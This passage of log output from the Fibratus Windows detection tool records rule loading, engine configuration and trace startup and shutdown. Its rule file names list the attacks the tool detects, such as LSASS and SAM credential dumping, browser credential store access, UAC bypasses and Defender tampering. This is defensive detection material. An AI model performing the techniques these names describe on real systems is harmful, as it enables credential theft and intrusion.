C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-05T14:57:23+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-05T14:57:23+01:00 level=info msg=bootstrapping with pid 12152. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-05T14:57:23+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] systray=>[ sound=>true enabled=>false quiet-mode=>false] slack=>[ enabled=>false] mail=>[ to=>[] use-template=>true enabled=>false port=>25 content-type=>text/html]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-threads=>false serialize-pe=>false serialize-envs=>true serialize-images=>false] + eventsource .................... [ enable-fileio=>true enable-thread=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-registry=>true enable-dns=>false enable-net=>true enable-audit-api=>true buffer-size=>512 enable-handle=>false max-buffers=>36 enable-vamap=>true enable-mem=>false flush-interval=>1s stack-enrichment=>true enable-image=>true min-buffers=>16 enable-threadpool=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info max-age=>0 max-backups=>15 log-stdout=>true formatter=>text max-size=>100] + output ......................... [ elasticsearch=>[ index-name=>fibratus bulk-workers=>1 enabled=>false servers=>[http://127.0.0.1:9200] gzip-compression=>false healthcheck=>true timeout=>5s template-name=>fibratus sniff=>false healthcheck-interval=>10s healthcheck-timeout=>5s trace-log=>false flush-period=>1s] amqp=>[ exchange=>fibratus exchange-type=>topic delivery-mode=>transient tls-insecure-skip-verify=>false url=>amqp://localhost:5672 passive=>false durable=>false enabled=>false timeout=>5s routing-key=>fibratus vhost=>/] http=>[ timeout=>5s tls-insecure-skip-verify=>false enable-gzip=>false endpoints=>[] enabled=>false method=>POST serializer=>json] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-resources=>false enabled=>false read-symbols=>false excluded-images=>[svchost.exe] read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false skip-mmaps=>false scan-timeout=>10s rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-files=>[] fastscan=>true enabled=>false skip-files=>false skip-registry=>false excluded-procs=>[]] source=bootstrap/bootstrap.go:187 +time=2025-12-05T14:57:23+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-05T14:57:26+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-05T14:58:19+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-05T14:58:19+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-05T14:58:19+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-05T14:58:28+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:155 +time=2025-12-05T14:58:28+01:00 level=info msg=bootstrapping with pid 5044. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-05T14:58:28+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ content-type=>text/html to=>[] port=>25 enabled=>false use-template=>true] systray=>[ quiet-mode=>false sound=>true enabled=>false] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-pe=>false serialize-images=>false serialize-handles=>false serialize-envs=>true] + eventsource .................... [ enable-threadpool=>false max-buffers=>36 enable-net=>true buffer-size=>512 enable-dns=>false enable-fileio=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-thread=>true flush-interval=>1s enable-registry=>true enable-mem=>false enable-handle=>false enable-image=>true min-buffers=>16 enable-vamap=>true stack-enrichment=>true enable-audit-api=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info max-age=>0 max-backups=>15 formatter=>text log-stdout=>true max-size=>100] + output ......................... [ elasticsearch=>[ trace-log=>false gzip-compression=>false flush-period=>1s template-name=>fibratus sniff=>false servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s index-name=>fibratus healthcheck=>true healthcheck-interval=>10s timeout=>5s bulk-workers=>1 enabled=>false] http=>[ method=>POST tls-insecure-skip-verify=>false enable-gzip=>false timeout=>5s endpoints=>[] enabled=>false serializer=>json] amqp=>[ tls-insecure-skip-verify=>false timeout=>5s exchange-type=>topic vhost=>/ durable=>false passive=>false delivery-mode=>transient enabled=>false routing-key=>fibratus exchange=>fibratus url=>amqp://localhost:5672] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-sections=>false read-symbols=>false read-resources=>false enabled=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false fastscan=>true rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-files=>false scan-timeout=>10s enabled=>false excluded-procs=>[] excluded-files=>[] skip-mmaps=>false skip-registry=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-05T14:58:28+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-05T14:58:31+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-05T14:58:52+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-05T14:58:52+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-05T14:58:53+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-05T15:02:03+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from 